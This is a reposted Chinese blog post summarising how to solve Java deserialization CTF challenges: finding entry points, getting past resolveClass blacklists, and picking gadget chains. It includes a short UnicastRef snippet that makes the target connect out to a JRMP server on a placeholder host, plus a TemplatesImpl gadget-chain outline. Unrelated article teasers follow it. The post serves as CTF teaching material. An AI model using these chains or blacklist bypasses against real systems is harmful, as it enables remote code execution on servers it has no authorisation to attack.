网络安全之浅析Java反序列化题目

前言

这段时间做了几道Java反序列化题目,发现很多题目都是类似的,并且可以通过一些非预期gadget打进去,就打算总结一下常见的题目类型以及各种解法,并提炼出一般性的思维方法。

正文

分析入口点

拿到题目,有附件最好。有些题目也并非是黑盒,可以通过路径穿越等方式把源码拉取下来,例如[网鼎杯 2020青龙组]FileJava。

题目比较常见的是Spring Boot框架。找到入口点,分析反序列化的具体方式。CTF中的Java反序列化一般是三种方式:

  1. 原生反序列化
  2. Jackson/FastJson反序列化
  3. 框架自写的反序列化(Hessian2/Kryo)

原生反序列化入口点分析

以**[MTCTF2022]easyjava**为例:

使用了自写的MyObjectInputStream类来处理反序列化,一般来说都会重写resolveClass方法对黑名单类进行一次判断

这种黑名单判断是无法绕过的,其原理在于原生反序列化流程会创建一个desc(类描述符),其name属性是类的全限定名,resolveClass方法对desc里的name属性进行黑名单检测,这里的desc是我们无法自行修改的。

还有一种黑名单对String进行包名检测:

很好绕过,P神的这篇文章有详细分析。

话说回来,对于resolveClass方法对desc.name进行黑名单检测,一般的思路是如何的呢?

  1. 最好是0day,但是常规来说也没人专门捏着0day往这里砸吧;
  2. 其次是黑名单里没写的类,比如UncaistRef或者其外面的代理类(这个类的优点我下面会讲);
  3. 再者是打二次反序列化,不走题目给的resolveClass逻辑······但是往往一些比较常用的二次反序列化类(Signedobject、RmiConnector)也放不出来,自己多积累几个。
  4. 最后就是看看题目给的一些类。

上面所讲的四个思路是通用的,并且在下文都会用到。

Jackson/FastJson反序列化

部分CTF题目有用到这种反序列化,比如Bugku-CTF-Java Fastjson Unserialize[VNCTF2021]realezjvav等。但是原理比较简单,无非起一个远程服务,然后反序列化com.sun.rowset.JdbcRowSetImpl等类触发一个RMI或者LDAP请求。这里就不做赘叙。

框架自写的反序列化(Hessian2/Kryo)

无论是Hessian2还是Kryo,其原理都是在反序列化过程中,如果反序列化对象是Map类,都会调用对应的put方法。

下面以[CISCN 2023 西南]seaclouds为例,该题采用kryo反序列化。在赛场是0解,因为赛制是断网,凭借个人调试发现该利用点是比较有难度的。

这种框架自写的反序列化,我们的侧重点是分析各种类的反序列化流程,冀以找到自动调用的方法,比如kryo反序列化HashMap类,使用MapSerializer触发put方法:

构造gadget

构造gadget是一门大学问,想要能力有所提高,就应该尽可能地尝试多种链子。

构造之前

不要急着构造链子,先看看题目提供了哪些依赖。

有些题目给的依赖多一点,比如[MTCTF2022]easyjava:(只给出常见的可以利用的依赖)

- "BOOT-INF/lib/jackson-databind-2.13.3.jar"
- "BOOT-INF/lib/jackson-annotations-2.13.3.jar"
- "BOOT-INF/lib/jackson-core-2.13.3.jar"
- "BOOT-INF/lib/tomcat-embed-core-9.0.65.jar"
- "BOOT-INF/lib/shiro-core-1.5.2.jar"
- "BOOT-INF/lib/commons-beanutils-1.9.4.jar"
- "BOOT-INF/lib/commons-collections-3.2.2.jar"
- "BOOT-INF/lib/hibernate-core-4.3.8.Final.jar"
- "BOOT-INF/lib/hibernate-commons-annotations-4.0.5.Final.jar"
- "BOOT-INF/lib/javassist-3.18.1-GA.jar"

有些题目给的就很少了,比如**[CISCN 2023]deserbug**:

commons-collections-3.2.2,真的令人难评。该版本对一些敏感类进行了一个检测,具体参考这篇文章

因为deserbug这道题没有给出设置系统属性的依赖,所以我们即使使用UnicastRef打到JRMP服务端,也利用不了cc3等链子。

遇到这种情况,就该看看题目所给的类对我们有没有帮助。deserbug给了Myexepct类,危险方法如下:

那很好说了,TrAXFilter类在实例化过程中会调用TemplatesImpl.newTransformer方法:

要注意的是,Myexpect类的typeparam属性得是new Class[]{Templates.class}

有些题目是只允许白名单,比如**[羊城杯 2020]a_piece_of_java**:

那就只能老老实实利用题目给的类了。

如何构造

现在,我们知道入口点和触发点了,但是如何构造链子呢?

UnicastRef

我比较喜欢利用UnicastRef类,它有以下几个优点:

  1. JDK自带的,对依赖没有要求
  2. 该类有readExternal方法,相当于readObject方法,无需为寻找调用链烦恼
  3. jrmp服务端响应的数据走系统的反序列化流程而不是题目重写的MyObjectInpuct()
  4. 黑名单禁止该类?我有更多的方法(下文讲)。

缺点:

  1. 本质上是打一个JRMP请求,不能断网
  2. 黑名单常客

构造POC也很简单:

public static UnicastRef getRef() throws Exception {ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint("xxx.xxx.xxx.xxx", 13999);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));return ref;}

上面说了,如果把UnicastRef放到黑名单怎么办,具体原理可以参考笔者blog,看Lab7:JavaDeserializeLabs

简而言之,我至少有这么多个的代理类可以选:

实际上反制手段也不难,把RemoteStub类甚至RemoteObject类给写入黑名单就可以了。

常用依赖

不看UnicastRef了,想想别的办法。那就只能看依赖了。现在很多题目都使用Spring Boot,以其为例。

Spring Boot自带Jackson,Jackson本身存在一些类可以用于原生反序列化。再说,Spinrg Boot本身配合Jackson,就可以打出好几个链子。

不说yso给的Spring1和2,还有这一条:

/*** hashMap#put()->* HotSwappableTargetSource#equals()->* Xstring#equals()->* BaseJsonNode#toString()->* templatesImpl#getOutputProperties()*/

然后这位师傅也发现了一条只依赖Spring-aop的:在spring-aop中挖掘新反序列化gadget-chain

Java Chains

P神等大佬写的工具,内置了很多链子,肯定有大家没了解过的,多翻翻:

这个工具还有JNDI、JRMP、Fake Mysql等的服务端和payload,真的是神器!项目地址:Java Chains Official Website | Java Chains

结语

多做题,发现这些题目其实都是有规律的,先发现入口点和限制,再根据已知依赖打gadget,本质上还是要多见多积累。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/903648.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

动态规划问题,下降路径最小和(dp初始化问题,状态压缩),单词拆分(回溯法+剪枝+记忆化),substr函数

下降路径最小和 题目链接: 931. 下降路径最小和 - 力扣(LeetCode) 题目描述: 给你一个 n x n 的 方形 整数数组 matrix ,请你找出并返回通过 matrix 的下降路径 的 最小和 。 下降路径 可以从第一行中的任何元素开…

大数据治理自动化与智能化实践指南:架构、工具与实战方案(含代码)

📝个人主页🌹:一ge科研小菜鸡-CSDN博客 🌹🌹期待您的关注 🌹🌹 一、引言:从人治到机治,数据治理正在进化 随着数据体量持续膨胀、数据场景复杂化,传统依赖人工规则的大数据治理方式已难以为继。企业在治理过程中面临: 数据质量问题激增,人工检测成本高 元数…

Golang - 实现文件管理服务器

先看效果: 代码如下: package mainimport ("fmt""html/template""log""net/http""os""path/filepath""strings" )// 配置根目录(根据需求修改) //var ba…

Linux-04-用户管理命令

一、useradd添加新用户: 基本语法: useradd 用户名:添加新用户 useradd -g 组名 用户:添加新用户到某个组二、passwd设置用户密码: 基本语法: passwd 用户名:设置用户名密码 三、id查看用户是否存在: 基本语法: id 用户名 四、su切换用户: 基本语法: su 用户名称:切换用…

Ollama 安装 QWen3 及配置外网访问指南

一、Ollama 安装 QWen3 安装步骤 首先尝试运行 QWen3 模型: ollama run qwen3 如果遇到版本不兼容错误(Error 412),表示需要升级 Ollama: curl -fsSL https://ollama.com/install.sh | sh 验证版本: o…

高性能架构设计-数据库(读写分离)

一、高性能数据库简介 1.高性能数据库方式 读写分离:将访问压力分散到集群中的多个节点,没有分散存储压力 分库分表:既可以分散访问压力,又可以分散存储压力 2.为啥不用表分区 如果SQL不走分区键,很容易出现全表锁…

【Hive入门】Hive性能优化:执行计划分析EXPLAIN命令的使用

目录 1 EXPLAIN命令简介 1.1 什么是EXPLAIN命令? 1.2 EXPLAIN命令的语法 2 解读执行计划中的MapReduce阶段 2.1 执行计划的结构 2.2 Hive查询执行流程 2.3 MapReduce阶段的详细解读 3 识别性能瓶颈 3.1 数据倾斜 3.2 Shuffle开销 3.3 性能瓶颈识别与优化 4 总结 在大…

开源模型应用落地-qwen模型小试-Qwen3-8B-快速体验(一)

一、前言 阿里云最新推出的 Qwen3-8B 大语言模型,作为国内首个集成“快思考”与“慢思考”能力的混合推理模型,凭借其 80 亿参数规模及 128K 超长上下文支持,正在重塑 AI 应用边界。该模型既可通过轻量化“快思考”实现低算力秒级响应,也能在复杂任务中激活深度推理模式,以…

Kafka Producer的acks参数对消息可靠性有何影响?

1. acks0 可靠性最低生产者发送消息后不等待任何Broker确认可能丢失消息(Broker处理失败/网络丢失时无法感知)吞吐量最高,适用于允许数据丢失的场景(如日志收集) 2. acks1 (默认值) Leader副本确认模式生产者等待Le…

虚拟机centos7安装docker

虚拟机CentOS 7上安装 Docker流程 1. 更新系统软件包 需要确保系统软件包是最新的 sudo yum -y update sudo:以超级用户权限执行命令。 yum:CentOS的包管理器工具。 -y:自动确认所有提示,直接执行。 2. 安装 Docker 依赖 在安装 …

ZYNQ MPSOC之PL与PS数据交互DMA方式

ZYNQ MPSOC之PL与PS数据交互DMA方式 1 摘要 XILINX ZYNQ 以及 ZYNQ MPSOC主要优势在于异构 ARM+FPGA。其中非常关键的一点使用了 AXI 总线进行高速互联。而且这个 AXI 总线是开放给我们用户使用的。在前面的文章中我们详解了使用了AXI-HP方式PL到PS端进行数据交互。本文主要涉…

枚举法——C++算法【泪光2929】

前言 "打牢基础,万事不愁" .C的基础语法的学习."学以致用,边学边用",编程是实践性很强的技术,在运用中理解,总结. 引入 枚举在成熟框架中,用得还挺多的.枚举可以让程序更容易理解 之前写过一篇关于枚举的帖子--- 白话编程---数据篇(4)枚…

HarmonyOS NEXT应用开发-Notification Kit(用户通知服务)notificationManager.cancelAll

1.notificationManager.cancelAll 支持设备Phone2in1TabletCarWearable cancelAll(callback: AsyncCallback<void>): void 取消当前应用所有已发布的通知。使用callback异步回调。 系统能力&#xff1a;SystemCapability.Notification.Notification 示例&#xff1a; …

Mac 创建QT按钮以及一些操作

在创建QT项目好 后我们打开mainwindow.cpp&#xff0c;下面所示的代码都是在这个cpp文件里面因为它是窗口的入口函数 #include "mainwindow.h" #include "ui_mainwindow.h" #include<QPushButton>//按钮的头文件MainWindow::MainWindow(QWidget *pa…

开源协议全解析:类型、选择与法律风险规避指南

[TOC] 在当今开源软件主导的技术生态中&#xff0c;开源协议&#xff08;Open Source License&#xff09;是决定项目能否被商业使用、二次开发的关键法律文件。据统计&#xff0c;GitHub上超过70%的项目使用某种形式的开源协议&#xff0c;但其中近30%存在协议兼容性问题。本…

TM1668芯片学习心得一

一、TM1668 是一种带键盘扫描接口的LED&#xff08;发光二极管显示器&#xff09;驱动控制专用电路&#xff0c;内部集成有MCU 数字接口、数据锁存器、LED 高压驱动、键盘扫描等电路。本产品性能优良&#xff0c;质量可靠。主要应用于VCR。 学习链接 二、 三、显示寄存器的地址…

时空特征如何融合?LSTM+Resnet有奇效,SOTA方案预测准确率超91%

LSTM有着不错的时序信息提取能力&#xff0c;ResNet有着不错的空间特征信息提取能力。如果现在有时空特征融合的创新需求&#xff0c;我们是否能将LSTM和ResNet两者的优点融合起来呢&#xff1f; 随着这个思路下去&#xff0c;LSTM ResNet混合模型横空出世&#xff0c;在各个…

[PRO_A7] SZ501 FPGA开发板简介

SZ501 FPGA开发板简介 概述 SZ501 FPGA开发板是专为高性能FPGA设计、快速原型开发和复杂应用调试打造的先进开发平台。搭载Xilinx Artix-7系列XC7A100T FPGA芯片&#xff0c;SZ501提供卓越的逻辑运算能力和灵活的接口支持&#xff0c;广泛适用于通信、信号处理、嵌入式系统及…

企业微信jdk 授权 记录

1、npm install wecom/jssdk 2、index.html 引入 <script src"https://wwcdn.weixin.qq.com/node/open/js/wecom-jssdk-2.0.2.js"></script> 3、创建js import * as ww from "wecom/jssdk"; /*** 获取企业微信jdk局方法----------------…

Android13增加第三方类实现加入到系统

1、将需要的添加包放在/frameworks/base/core/java/com目录下&#xff0c;比如devmgr/devicemgr/DeviceMgr.java package com.devmgr.devicemgr; import android.content.Context; public class DeviceMgr {private volatile static DeviceMgr instance null;private Context…